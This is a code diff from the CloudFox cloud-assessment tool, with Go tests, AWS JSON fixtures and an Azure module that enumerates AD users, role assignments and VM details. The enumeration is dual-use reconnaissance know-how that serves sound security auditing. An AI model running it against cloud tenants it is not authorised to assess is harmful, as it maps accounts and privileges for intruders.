ResourceARN: aws.String("arn:aws:ec2:us-east-1:123456789012:instance/i-1234567890abcdef0"),
Tags: []types.Tag{
{
Key: aws.String("Name"),
Value: aws.String("test"),
},
},
})
testGetResourcesOutput := &resourcegroupstaggingapi.GetResourcesOutput{
ResourceTagMappingList: testResources,
}
return testGetResourcesOutput, nil
}
func TestTags(t *testing.T) {
subtests := []struct {
name string
outputDirectory string
verbosity int
testModule TagsModule
expectedResult []Tag
}{
{
name: "TestTags",
outputDirectory: ".",
verbosity: 2,
testModule: TagsModule{
ResourceGroupsTaggingApiInterface: &MockedTagsGetResources{},
Caller: sts.GetCallerIdentityOutput{
Account: aws.String("123456789012"),
Arn: aws.String("arn:aws:iam::123456789012:user/test"),
UserId: aws.String("AIDAJDPLRKLG7UEXAMPLE"),
},
AWSRegions: []string{"us-east-1"},
OutputFormat: "table",
Goroutines: 10,
AWSProfile: "test",
WrapTable: false,
MaxResourcesPerRegion: 100,
},
expectedResult: []Tag{
{
AWSService: "ec2",
Region: "us-east-1",
Type: "instance",
Key: "Name",
Value: "test",
},
},
},
}
internal.MockFileSystem(true)
for _, subtest := range subtests {
t.Run(subtest.name, func(t *testing.T) {
subtest.testModule.PrintTags(subtest.testModule.OutputFormat, subtest.outputDirectory, subtest.verbosity)
if len(subtest.testModule.Tags) != len(subtest.expectedResult) {
t.Errorf("Expected %d results, got %d", len(subtest.expectedResult), len(subtest.testModule.Tags))
}
for i, ExpectedTag := range subtest.expectedResult {
if ExpectedTag.Type != subtest.testModule.Tags[i].Type {
t.Errorf("Expected Type = %s, got %s", subtest.testModule.Tags[i].Type, ExpectedTag.Type)
}
if ExpectedTag.Key != subtest.testModule.Tags[i].Key {
t.Errorf("Expected Key = %s, got %s", subtest.testModule.Tags[i].Key, ExpectedTag.Key)
}
if ExpectedTag.Value != subtest.testModule.Tags[i].Value {
t.Errorf("Expected Value = %s, got %s", subtest.testModule.Tags[i].Value, ExpectedTag.Value)
}
}
})
}
}
@@ -0,0 +1,23 @@
{
"Stacks": [
{
"StackId": "arn:aws:cloudformation:us-east-1:123456789012:stack/myteststack/466df9e0-0dff-08e3-8e2f-5088487c4896",
"Description": "AWS CloudFormation Sample Template S3_Bucket: Sample template showing how to create a publicly accessible S3 bucket. **WARNING** This template creates an S3 bucket. You will be billed for the AWS resources used if you create a stack from this template.",
"Tags": [],
"Outputs": [
{
"Description": "Name of S3 bucket to hold website content",
"OutputKey": "BucketName",
"OutputValue": "myteststack-s3bucket-jssofi1zie2w"
}
],
"StackStatusReason": null,
"CreationTime": "2013-08-23T01:02:15.422Z",
"Capabilities": [],
"StackName": "myteststack",
"RoleArn": "role123",
"StackStatus": "CREATE_COMPLETE",
"DisableRollback": false
}
]
}
@@ -0,0 +1,22 @@
{
"TemplateBody": {
"AWSTemplateFormatVersion": "2010-09-09",
"Outputs": {
"BucketName": {
"Description": "Name of S3 bucket to hold website content",
"Value": {
"Ref": "S3Bucket"
}
}
},
"Description": "AWS CloudFormation Sample Template S3_Bucket: Sample template showing how to create a publicly accessible S3 bucket. **WARNING** This template creates an S3 bucket. You will be billed for the AWS resources used if you create a stack from this template.",
"Resources": {
"S3Bucket": {
"Type": "AWS::S3::Bucket",
"Properties": {
"AccessControl": "PublicRead"
}
}
}
}
}
@@ -0,0 +1,98 @@
{
"NetworkInterfaces": [
{
"Status": "in-use",
"MacAddress": "02:2f:8f:b0:cf:75",
"SourceDestCheck": true,
"VpcId": "vpc-a01106c2",
"Description": "my network interface",
"Association": {
"PublicIp": "203.0.113.12",
"AssociationId": "eipassoc-0fbb766a",
"PublicDnsName": "ec2-203-0-113-12.compute-1.amazonaws.com",
"IpOwnerId": "123456789012"
},
"NetworkInterfaceId": "eni-e5aa89a3",
"PrivateIpAddresses": [
{
"PrivateDnsName": "ip-10-0-1-17.ec2.internal",
"Association": {
"PublicIp": "203.0.113.12",
"AssociationId": "eipassoc-0fbb766a",
"PublicDnsName": "ec2-203-0-113-12.compute-1.amazonaws.com",
"IpOwnerId": "123456789012"
},
"Primary": true,
"PrivateIpAddress": "10.0.1.17"
}
],
"RequesterManaged": false,
"Ipv6Addresses": [],
"PrivateDnsName": "ip-10-0-1-17.ec2.internal",
"AvailabilityZone": "us-east-1d",
"Attachment": {
"Status": "attached",
"DeviceIndex": 1,
"AttachTime": "2013-11-30T23:36:42.000Z",
"InstanceId": "i-1234567890abcdef0",
"DeleteOnTermination": false,
"AttachmentId": "eni-attach-66c4350a",
"InstanceOwnerId": "123456789012"
},
"Groups": [
{
"GroupName": "default",
"GroupId": "sg-8637d3e3"
}
],
"SubnetId": "subnet-b61f49f0",
"OwnerId": "123456789012",
"TagSet": [],
"PrivateIpAddress": "10.0.1.17"
},
{
"Status": "in-use",
"MacAddress": "02:58:f5:ef:4b:06",
"SourceDestCheck": true,
"VpcId": "vpc-a01106c2",
"Description": "Primary network interface",
"Association": {
"PublicIp": "198.51.100.0",
"IpOwnerId": "amazon"
},
"NetworkInterfaceId": "eni-f9ba99bf",
"PrivateIpAddresses": [
{
"Association": {
"PublicIp": "198.51.100.0",
"IpOwnerId": "amazon"
},
"Primary": true,
"PrivateIpAddress": "10.0.1.149"
}
],
"RequesterManaged": false,
"Ipv6Addresses": [],
"AvailabilityZone": "us-east-1d",
"Attachment": {
"Status": "attached",
"DeviceIndex": 0,
"AttachTime": "2013-11-30T23:35:33.000Z",
"InstanceId": "i-0598c7d356eba48d7",
"DeleteOnTermination": true,
"AttachmentId": "eni-attach-1b9db777",
"InstanceOwnerId": "123456789012"
},
"Groups": [
{
"GroupName": "default",
"GroupId": "sg-8637d3e3"
}
],
"SubnetId": "subnet-b61f49f0",
"OwnerId": "123456789012",
"TagSet": [],
"PrivateIpAddress": "10.0.1.149"
}
]
}
+187
View File
@@ -0,0 +1,187 @@
{
"tasks": [
{
"attachments": [
{
"id": "d9e7735a-16aa-4128-bc7a-b2d51EXAMPLE",
"type": "ElasticNetworkInterface",
"status": "ATTACHED",
"details": [
{
"name": "subnetId",
"value": "subnet-0d0eab1bb3EXAMPLE"
},
{
"name": "networkInterfaceId",
"value": "eni-f9ba99bf"
},
{
"name": "macAddress",
"value": "0e:89:76:28:07:b3"
},
{
"name": "privateDnsName",
"value": "ip-10-0-1-184.ec2.internal"
},
{
"name": "privateIPv4Address",
"value": "10.0.1.184"
}
]
}
],
"attributes": [
{
"name": "ecs.cpu-architecture",
"value": "x86_64"
}
],
"availabilityZone": "us-east-1b",
"clusterArn": "arn:aws:ecs:us-east-1:123456789012:cluster/MyCluster",
"connectivity": "CONNECTED",
"connectivityAt": "2021-12-20T12:13:37.875000-05:00",
"containers": [
{
"containerArn": "arn:aws:ecs:us-east-1:123456789012:container/MyCluster/74de0355a10a4f979ac495c14EXAMPLE/aad3ba00-83b3-4dac-84d4-11f8cEXAMPLE",
"taskArn": "arn:aws:ecs:us-east-1:123456789012:task/MyCluster/74de0355a10a4f979ac495c14EXAMPLE",
"name": "web",
"image": "nginx",
"runtimeId": "74de0355a10a4f979ac495c14EXAMPLE-265927825",
"lastStatus": "RUNNING",
"networkBindings": [],
"networkInterfaces": [
{
"attachmentId": "d9e7735a-16aa-4128-bc7a-b2d51EXAMPLE",
"privateIpv4Address": "10.0.1.184"
}
],
"healthStatus": "UNKNOWN",
"cpu": "99",
"memory": "100"
}
],
"cpu": "256",
"createdAt": "2021-12-20T12:13:20.226000-05:00",
"desiredStatus": "RUNNING",
"enableExecuteCommand": false,
"group": "service:tdsevicetag",
"healthStatus": "UNKNOWN",
"lastStatus": "RUNNING",
"launchType": "FARGATE",
"memory": "512",
"overrides": {
"containerOverrides": [
{
"name": "web"
}
],
"inferenceAcceleratorOverrides": []
},
"platformVersion": "1.4.0",
"platformFamily": "Linux",
"pullStartedAt": "2021-12-20T12:13:42.665000-05:00",
"pullStoppedAt": "2021-12-20T12:13:46.543000-05:00",
"startedAt": "2021-12-20T12:13:48.086000-05:00",
"startedBy": "ecs-svc/988401040018EXAMPLE",
"tags": [],
"taskArn": "arn:aws:ecs:us-east-1:123456789012:task/MyCluster/74de0355a10a4f979ac495c14EXAMPLE",
"taskDefinitionArn": "arn:aws:ecs:us-east-1:123456789012:task-definition/webserver:2",
"version": 3,
"ephemeralStorage": {
"sizeInGiB": 20
}
},
{
"attachments": [
{
"id": "214eb5a9-45cd-4bf8-87bc-57fefEXAMPLE",
"type": "ElasticNetworkInterface",
"status": "ATTACHED",
"details": [
{
"name": "subnetId",
"value": "subnet-0d0eab1bb3EXAMPLE"
},
{
"name": "networkInterfaceId",
"value": "eni-e5aa89a3"
},
{
"name": "macAddress",
"value": "0e:76:83:01:17:a9"
},
{
"name": "privateDnsName",
"value": "ip-10-0-1-41.ec2.internal"
},
{
"name": "privateIPv4Address",
"value": "10.0.1.41"
}
]
}
],
"attributes": [
{
"name": "ecs.cpu-architecture",
"value": "x86_64"
}
],
"availabilityZone": "us-east-1b",
"clusterArn": "arn:aws:ecs:us-east-1:123456789012:cluster/MyCluster",
"connectivity": "CONNECTED",
"connectivityAt": "2021-12-20T12:13:35.243000-05:00",
"containers": [
{
"containerArn": "arn:aws:ecs:us-east-1:123456789012:container/MyCluster/d789e94343414c25b9f6bd59eEXAMPLE/9afef792-609b-43a5-bb6a-3efdbEXAMPLE",
"taskArn": "arn:aws:ecs:us-east-1:123456789012:task/MyCluster/d789e94343414c25b9f6bd59eEXAMPLE",
"name": "web",
"image": "nginx",
"runtimeId": "d789e94343414c25b9f6bd59eEXAMPLE-265927825",
"lastStatus": "RUNNING",
"networkBindings": [],
"networkInterfaces": [
{
"attachmentId": "214eb5a9-45cd-4bf8-87bc-57fefEXAMPLE",
"privateIpv4Address": "10.0.1.41"
}
],
"healthStatus": "UNKNOWN",
"cpu": "99",
"memory": "100"
}
],
"cpu": "256",
"createdAt": "2021-12-20T12:13:20.226000-05:00",
"desiredStatus": "RUNNING",
"enableExecuteCommand": false,
"group": "service:tdsevicetag",
"healthStatus": "UNKNOWN",
"lastStatus": "RUNNING",
"launchType": "FARGATE",
"memory": "512",
"overrides": {
"containerOverrides": [
{
"name": "web"
}
],
"inferenceAcceleratorOverrides": []
},
"platformVersion": "1.4.0",
"platformFamily": "Linux",
"pullStartedAt": "2021-12-20T12:13:44.611000-05:00",
"pullStoppedAt": "2021-12-20T12:13:48.251000-05:00",
"startedAt": "2021-12-20T12:13:49.326000-05:00",
"startedBy": "ecs-svc/988401040018EXAMPLE",
"tags": [],
"taskArn": "arn:aws:ecs:us-east-1:123456789012:task/MyCluster/d789e94343414c25b9f6bd59eEXAMPLE",
"taskDefinitionArn": "arn:aws:ecs:us-east-1:123456789012:task-definition/webserver:2",
"version": 3,
"ephemeralStorage": {
"sizeInGiB": 20
}
}
],
"failures": []
}
+360
View File
@@ -0,0 +1,360 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"log"
"os"
"path/filepath"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
"github.com/Azure/azure-sdk-for-go/services/graphrbac/1.6/graphrbac"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzRBACCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
var c CloudFoxRBACclient
var header []string
var body [][]string
var outputDirectory, controlMessagePrefix string
if AzTenantID != "" && AzSubscriptionID == "" {
// ./cloudfox azure rbac --tenant TENANT_ID
fmt.Printf("[%s][%s] Enumerating RBAC permissions for tenant %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME), AzTenantID)
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
outputDirectory = filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "tenants", AzTenantID)
var err error
header, body, err = getRBACperTenant(AzTenantID, c)
if err != nil {
return err
}
} else if AzTenantID == "" && AzSubscriptionID != "" {
// ./cloudfox azure rbac --subscription SUBSCRIPTION_ID
fmt.Printf("[%s][%s] Enumerating RBAC permissions for subscription %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_RBAC_MODULE_NAME), AzSubscriptionID)
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
outputDirectory = filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "subscriptions", AzSubscriptionID)
header, body = getRBACperSubscription(AzTenantID, AzSubscriptionID, c)
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
}
fileNameWithoutExtension := globals.AZ_RBAC_MODULE_NAME
if body != nil {
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_RBAC_MODULE_NAME, AzWrapTable, controlMessagePrefix)
}
return nil
}
func getRBACperTenant(AzTenantID string, c CloudFoxRBACclient) ([]string, [][]string, error) {
var selectedSubs, resultsHeader []string
var resultsBody, b [][]string
for _, s := range getSubscriptions() {
if ptr.ToString(s.TenantID) == AzTenantID {
selectedSubs = append(selectedSubs, ptr.ToString(s.SubscriptionID))
}
}
err := c.initialize(AzTenantID, selectedSubs)
if err != nil {
return nil, nil, err
}
for _, s := range selectedSubs {
resultsHeader, b = c.GetRelevantRBACData(AzTenantID, s)
resultsBody = append(resultsBody, b...)
}
return resultsHeader, resultsBody, nil
}
func getRBACperSubscription(AzTenantID, AzSubscriptionID string, c CloudFoxRBACclient) ([]string, [][]string) {
var resultsHeader []string
var resultsBody [][]string
for _, s := range getSubscriptions() {
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
c.initialize(AzTenantID, []string{ptr.ToString(s.SubscriptionID)})
resultsHeader, resultsBody = c.GetRelevantRBACData(AzTenantID, ptr.ToString(s.SubscriptionID))
}
}
return resultsHeader, resultsBody
}
type CloudFoxRBACclient struct {
roleAssignments []authorization.RoleAssignment
roleDefinitions []authorization.RoleDefinition
AADUsers []graphrbac.User
}
func (c *CloudFoxRBACclient) initialize(tenantID string, subscriptionIDs []string) error {
var err error
c.AADUsers = nil
c.roleAssignments = nil
c.roleDefinitions = nil
c.AADUsers, err = getAzureADUsers(tenantID)
if err != nil {
return fmt.Errorf("[%s] failed to get users for tenant %s: %s", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), tenantID, err)
}
for _, subID := range subscriptionIDs {
rd, err := getRoleDefinitions(subID)
if err != nil {
fmt.Printf("[%s] failed to get role definitions for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
}
c.roleDefinitions = append(c.roleDefinitions, rd...)
ra, err := getRoleAssignments(subID)
if err != nil {
fmt.Printf("[%s] failed to get role assignments for subscription %s: %s. Skipping it.\n", color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME), subID, err)
}
c.roleAssignments = append(c.roleAssignments, ra...)
}
return nil
}
func (c *CloudFoxRBACclient) GetRelevantRBACData(tenantID, subscriptionID string) ([]string, [][]string) {
header := []string{"User Name", "Role Name", "Role Scope"}
var body [][]string
var roleAssignmentRelevantData RoleAssignmentRelevantData
var results []RoleAssignmentRelevantData
for _, rb := range c.roleAssignments {
roleAssignmentRelevantData.tenantID = tenantID
roleAssignmentRelevantData.subscriptionID = subscriptionID
roleAssignmentRelevantData.roleScope = ptr.ToString(rb.Properties.Scope)
findUser(c.AADUsers, rb, &roleAssignmentRelevantData)
findRole(c.roleDefinitions, rb, &roleAssignmentRelevantData)
results = append(results, roleAssignmentRelevantData)
}
for _, r := range results {
body = append(body,
[]string{
r.userDisplayName,
r.roleName,
r.roleScope,
})
}
return header, body
}
func findUser(users []graphrbac.User, roleAssignment authorization.RoleAssignment, roleAssignmentRelevantData *RoleAssignmentRelevantData) {
for _, u := range users {
principalID := ptr.ToString(roleAssignment.Properties.PrincipalID)
if ptr.ToString(u.ObjectID) == principalID {
// roleBindingRelevantData user data here
roleAssignmentRelevantData.userDisplayName = ptr.ToString(u.DisplayName)
}
}
}
func findRole(roleDefinitions []authorization.RoleDefinition, roleAssignment authorization.RoleAssignment, roleAssignmentRelevantData *RoleAssignmentRelevantData) {
// Find the role
for _, rd := range roleDefinitions {
roleDefinitionID := strings.Split(ptr.ToString(roleAssignment.Properties.RoleDefinitionID), "/")[len(strings.Split(ptr.ToString(roleAssignment.Properties.RoleDefinitionID), "/"))-1]
rdID := strings.Split(ptr.ToString(rd.ID), "/")[len(strings.Split(ptr.ToString(rd.ID), "/"))-1]
// roleBindingRelevantData role data here
if rdID == roleDefinitionID {
roleAssignmentRelevantData.roleName = ptr.ToString(rd.RoleName)
}
}
}
type RoleAssignmentRelevantData struct {
tenantID string
subscriptionID string
roleScope string
userDisplayName string
roleName string
}
var getAzureADUsers = getAzureADUsersOriginal
func getAzureADUsersOriginal(tenantID string) ([]graphrbac.User, error) {
var users []graphrbac.User
client := internal.GetAADUsersClient(tenantID)
for page, err := client.List(context.TODO(), "", ""); page.NotDone(); page.Next() {
if err != nil {
return nil, fmt.Errorf(
"[%s] could not enumerate users for tenant %s: %s",
color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME),
tenantID,
err)
}
users = append(users, page.Values()...)
}
return users, nil
}
func mockedGetAzureADUsers(tenantID string) ([]graphrbac.User, error) {
var users AzureADUsersTestFile
file, err := os.ReadFile(globals.AAD_USERS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.AAD_USERS_TEST_FILE)
}
err = json.Unmarshal(file, &users)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.AAD_USERS_TEST_FILE)
}
return users.AzureADUsers, nil
}
func generateAzureADUsersTestFIle(tenantID string) {
// The READ-ONLY ObjectID attribute needs to be included manually in the test file
// ObjectID *string `json:"objectId,omitempty"`
users, err := getAzureADUsers(tenantID)
if err != nil {
log.Fatalf("could not enumerate users for tenant %s", tenantID)
}
usersJSON, err := json.Marshal(AzureADUsersTestFile{AzureADUsers: users})
if err != nil {
log.Fatalf("could not marshall json for azure ad users in tenant %s", tenantID)
}
err = os.WriteFile(globals.AAD_USERS_TEST_FILE, usersJSON, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to azure ad users test file %s", globals.AAD_USERS_TEST_FILE)
}
}
type AzureADUsersTestFile struct {
AzureADUsers []graphrbac.User `json:"azureADUsers"`
}
var getRoleDefinitions = getRoleDefinitionsOriginal
func getRoleDefinitionsOriginal(subscriptionID string) ([]authorization.RoleDefinition, error) {
client := internal.GetRoleDefinitionsClient(subscriptionID)
var roleDefinitions []authorization.RoleDefinition
for page, err := client.List(context.TODO(), "", ""); page.NotDone(); page.Next() {
if err != nil {
return nil, fmt.Errorf(
"[%s] could not fetch role definitions for subscription %s: %s",
color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME),
subscriptionID,
err)
}
roleDefinitions = append(roleDefinitions, page.Values()...)
}
return roleDefinitions, nil
}
func mockedGetRoleDefinitions(subscriptionID string) ([]authorization.RoleDefinition, error) {
var roleDefinitions RoleDefinitionTestFile
file, err := os.ReadFile(globals.ROLE_DEFINITIONS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
}
err = json.Unmarshal(file, &roleDefinitions)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
}
return roleDefinitions.RoleDefinitions, nil
}
func generateRoleDefinitionsTestFile(subscriptionID string) {
// The READ-ONLY ID attribute needs to be included manually in the test file.
// This attribute is the unique identifier for the role.
// ID *string `json:"id,omitempty"`.
roleDefinitions, err := getRoleDefinitions(subscriptionID)
if err != nil {
log.Fatal(err)
}
roleAssignments, err := getRoleAssignments(subscriptionID)
if err != nil {
log.Fatal(err)
}
var roleDefinitionsResults []authorization.RoleDefinition
for _, rd := range roleDefinitions {
for _, ra := range roleAssignments {
want := strings.Split(ptr.ToString(ra.Properties.RoleDefinitionID), "/")[len(strings.Split(ptr.ToString(ra.Properties.RoleDefinitionID), "/"))-1]
got := strings.Split(ptr.ToString(rd.ID), "/")[len(strings.Split(ptr.ToString(rd.ID), "/"))-1]
if want == got {
roleDefinitionsResults = append(roleDefinitionsResults, rd)
}
}
}
tf := RoleDefinitionTestFile{
RoleDefinitions: roleDefinitionsResults,
}
rolesjson, err := json.Marshal(tf)
if err != nil {
log.Fatalf("could not marshall json for role definitions in subscription %s", subscriptionID)
}
err = os.WriteFile(globals.ROLE_DEFINITIONS_TEST_FILE, rolesjson, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to role definitions test file %s", globals.ROLE_DEFINITIONS_TEST_FILE)
}
}
type RoleDefinitionTestFile struct {
RoleDefinitions []authorization.RoleDefinition `json:"roleDefinitions"`
}
var getRoleAssignments = getRoleAssignmentsOriginal
func getRoleAssignmentsOriginal(subscriptionID string) ([]authorization.RoleAssignment, error) {
var roleAssignments []authorization.RoleAssignment
client := internal.GetRoleAssignmentsClient(subscriptionID)
for page, err := client.List(context.TODO(), ""); page.NotDone(); page.Next() {
if err != nil {
return nil, fmt.Errorf(
"[%s] could not fetch role assignments for subscription %s",
color.New(color.FgCyan).Sprint(globals.AZ_RBAC_MODULE_NAME),
subscriptionID)
}
roleAssignments = append(roleAssignments, page.Values()...)
}
return roleAssignments, nil
}
func mockedGetRoleAssignments(subscriptionID string) ([]authorization.RoleAssignment, error) {
var allRoleAssignments, roleAssignmentsResults []authorization.RoleAssignment
file, err := os.ReadFile(globals.ROLE_ASSIGNMENTS_TEST_FILE)
if err != nil {
log.Fatalf("could not read file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
}
err = json.Unmarshal(file, &allRoleAssignments)
if err != nil {
log.Fatalf("could not unmarshall file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
}
for _, ra := range allRoleAssignments {
roleAssignmentSubscriptionID := strings.Split(ptr.ToString(ra.Properties.RoleDefinitionID), "/")[2]
if roleAssignmentSubscriptionID == subscriptionID {
roleAssignmentsResults = append(roleAssignmentsResults, ra)
}
}
return roleAssignmentsResults, nil
}
func generateRoleAssignmentsTestFile(subscriptionID string) {
ra, err := getRoleAssignments(subscriptionID)
if err != nil {
log.Fatalf("could not generate role assignments for subscription %s", subscriptionID)
}
roleAssginments, err := json.Marshal(RoleAssignmentsTestFile{RoleAssignments: ra})
if err != nil {
log.Fatalf("could not marshall json for role assignments in subscription %s", subscriptionID)
}
err = os.WriteFile(globals.ROLE_ASSIGNMENTS_TEST_FILE, roleAssginments, os.ModeAppend)
if err != nil {
log.Fatalf("could not write to azure ad users test file %s", globals.ROLE_ASSIGNMENTS_TEST_FILE)
}
}
type RoleAssignmentsTestFile struct {
RoleAssignments []authorization.RoleAssignment `json:"RoleAssignments"`
}
+90
View File
@@ -0,0 +1,90 @@
package azure
import (
"fmt"
"testing"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
)
func TestAzRBACCommand(t *testing.T) {
fmt.Println()
fmt.Println("[test case] Azure RBAC Command")
// Test case parameters
subtests := []struct {
name string
azTenantID string
azSubscriptionID string
azRGName string
azVerbosity int
azOutputFormat string
version string
resourcesTestFile string
usersTestFile string
roleDefinitionsTestFile string
roleAssignmentsTestFile string
wrapTableOutput bool
}{
{
name: "./cloudfox azure rbac --tenant 11111111-1111-1111-1111-11111111",
azTenantID: "11111111-1111-1111-1111-11111111",
azSubscriptionID: "",
azOutputFormat: "all",
azVerbosity: 2,
resourcesTestFile: "./test-data/resources.json",
usersTestFile: "./test-data/users.json",
roleDefinitionsTestFile: "./test-data/role-definitions.json",
roleAssignmentsTestFile: "./test-data/role-assignments.json",
version: "DEV",
wrapTableOutput: false,
},
{
name: "./cloudfox azure rbac --subscription AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
azTenantID: "",
azSubscriptionID: "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
azOutputFormat: "all",
azVerbosity: 2,
version: "DEV",
resourcesTestFile: "./test-data/resources.json",
usersTestFile: "./test-data/users.json",
roleDefinitionsTestFile: "./test-data/role-definitions.json",
roleAssignmentsTestFile: "./test-data/role-assignments.json",
wrapTableOutput: false,
},
{
name: "./cloudfox azure rbac",
azOutputFormat: "all",
azVerbosity: 2,
version: "DEV",
resourcesTestFile: "./test-data/resources.json",
usersTestFile: "./test-data/users.json",
roleDefinitionsTestFile: "./test-data/role-definitions.json",
roleAssignmentsTestFile: "./test-data/role-assignments.json",
wrapTableOutput: false,
},
}
internal.MockFileSystem(true)
// Mocked functions to simulate Azure calls and responses
getSubscriptions = mockedGetSubscriptions
getAzureADUsers = mockedGetAzureADUsers
getRoleDefinitions = mockedGetRoleDefinitions
getRoleAssignments = mockedGetRoleAssignments
for _, s := range subtests {
fmt.Println()
fmt.Printf("[subtest] %s\n", s.name)
// Test files used by mocked functions
globals.RESOURCES_TEST_FILE = s.resourcesTestFile
globals.AAD_USERS_TEST_FILE = s.usersTestFile
globals.ROLE_DEFINITIONS_TEST_FILE = s.roleDefinitionsTestFile
globals.ROLE_ASSIGNMENTS_TEST_FILE = s.roleAssignmentsTestFile
if err := AzRBACCommand(s.azTenantID, s.azSubscriptionID, s.azOutputFormat, s.version, s.azVerbosity, s.wrapTableOutput); err != nil {
fmt.Println(err)
}
}
fmt.Println()
}
-204
View File
@@ -1,204 +0,0 @@
package azure
import (
"context"
"fmt"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/compute/mgmt/compute"
"github.com/Azure/azure-sdk-for-go/profiles/latest/network/mgmt/network"
"github.com/BishopFox/cloudfox/utils"
"github.com/aws/smithy-go/ptr"
)
const instancesCallingModuleName = "instances"
type InstancesMapModule struct {
// Tenants, Subs and RGs: map[TenantID]map[SubscriptionID][]ResourceGroups
Scope map[string]map[string][]string
// This module queries 3 different resource types (Compute, NIC and PublicIP), thus 3 different clients.
computeClient compute.VirtualMachinesClient
nicClient network.InterfacesClient
publicIPClient network.PublicIPAddressesClient
// Module's Results
results []vmRelevantInformation
}
type vmRelevantInformation struct {
subscriptionID string
resourceGroup string
name string
adminUsername string
operatingSystem string
internalIPs []string
externalIPs []string
}
func (m *InstancesMapModule) InstancesMap(verbosity int, outputFormat string, outputDirectory string, resourceGroupFilter string) {
for tenantID, subscriptionsMap := range m.Scope {
fmt.Printf("[*] Started tenant: %s\n", tenantID)
for subscriptionID := range subscriptionsMap {
m.getVMsDataPerSubscription(tenantID, subscriptionID, resourceGroupFilter)
fmt.Printf("[*] Enumerating subscription %s... done!\n", subscriptionID)
}
fmt.Printf("[*] Finished tenant: %s\n\n", tenantID)
}
fmt.Printf("\n[*] Preparing output...\n\n")
// Prepare table headers
header := []string{
"RESOURCE_GROUP",
"NAME",
"OS",
"ADMIN_USERNAME",
"INTERNAL_IPS",
"EXTERNAL_IPS",
}
// Prepare table body
var body [][]string
for _, result := range m.results {
body = append(
body,
[]string{
result.resourceGroup,
result.name,
result.operatingSystem,
result.adminUsername,
strings.Join(result.internalIPs, ", "),
strings.Join(result.externalIPs, ", "),
//Use the format below if you don't like the array format on output
//strings.Join(result.internalIPs, ", "),
//strings.Join(result.externalIPs, ", "),
},
)
}
// Pretty prints output
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(
verbosity,
outputFormat,
header,
body,
outputDirectory,
"instances",
instancesCallingModuleName,
)
}
func (m *InstancesMapModule) setNecessaryClients(subscriptionID string) {
a := utils.AzNewResourceManagerAuthorizer()
m.computeClient = compute.NewVirtualMachinesClient(subscriptionID)
m.computeClient.Authorizer = a
m.nicClient = network.NewInterfacesClient(subscriptionID)
m.nicClient.Authorizer = a
m.publicIPClient = network.NewPublicIPAddressesClient(subscriptionID)
m.publicIPClient.Authorizer = a
}
func (m *InstancesMapModule) getVMsDataPerSubscription(tenantID string, subscriptionID string, resourceGroupFilter string) {
m.setNecessaryClients(subscriptionID)
for _, rg := range m.Scope[tenantID][subscriptionID] {
if resourceGroupFilter == "all" || resourceGroupFilter == rg {
m.getVMsDataPerResourceGroup(subscriptionID, rg)
}
}
}
type ListAPIClientInterface interface {
List(ctx context.Context, resourceGroupName string) (result compute.VirtualMachineListResultPage, err error)
}
func (m *InstancesMapModule) getVMsDataPerResourceGroupV2(resourceGroup string) {
var vmData vmRelevantInformation
for page, err := m.computeClient.List(context.TODO(), resourceGroup); page.NotDone(); page.Next() {
if err != nil {
fmt.Printf("[-] Could not enumerate resource group %s. Skipping it. %s\n", resourceGroup, err)
} else {
for _, vm := range page.Values() {
vmData.subscriptionID = ""
vmData.resourceGroup = resourceGroup
vmData.name = ptr.ToString(vm.Name)
vmData.adminUsername = ptr.ToString(vm.VirtualMachineProperties.OsProfile.AdminUsername)
vmData.operatingSystem = ptr.ToString(vm.VirtualMachineProperties.StorageProfile.ImageReference.Offer) + " " + ptr.ToString(vm.VirtualMachineProperties.StorageProfile.ImageReference.Sku)
for _, nic := range *vm.VirtualMachineProperties.NetworkProfile.NetworkInterfaces {
internalIP, externalIP := m.getNICInternalAndExternalIPs(nic, resourceGroup)
vmData.internalIPs = append(vmData.internalIPs, internalIP)
if externalIP != "" {
vmData.externalIPs = append(vmData.externalIPs, externalIP)
}
}
m.results = append(m.results, vmData)
vmData.internalIPs = nil
vmData.externalIPs = nil
}
}
}
}
func (m *InstancesMapModule) getVMsDataPerResourceGroup(subscriptionID string, resourceGroup string) {
var vmData vmRelevantInformation
for page, err := m.computeClient.List(context.TODO(), resourceGroup); page.NotDone(); page.Next() {
if err != nil {
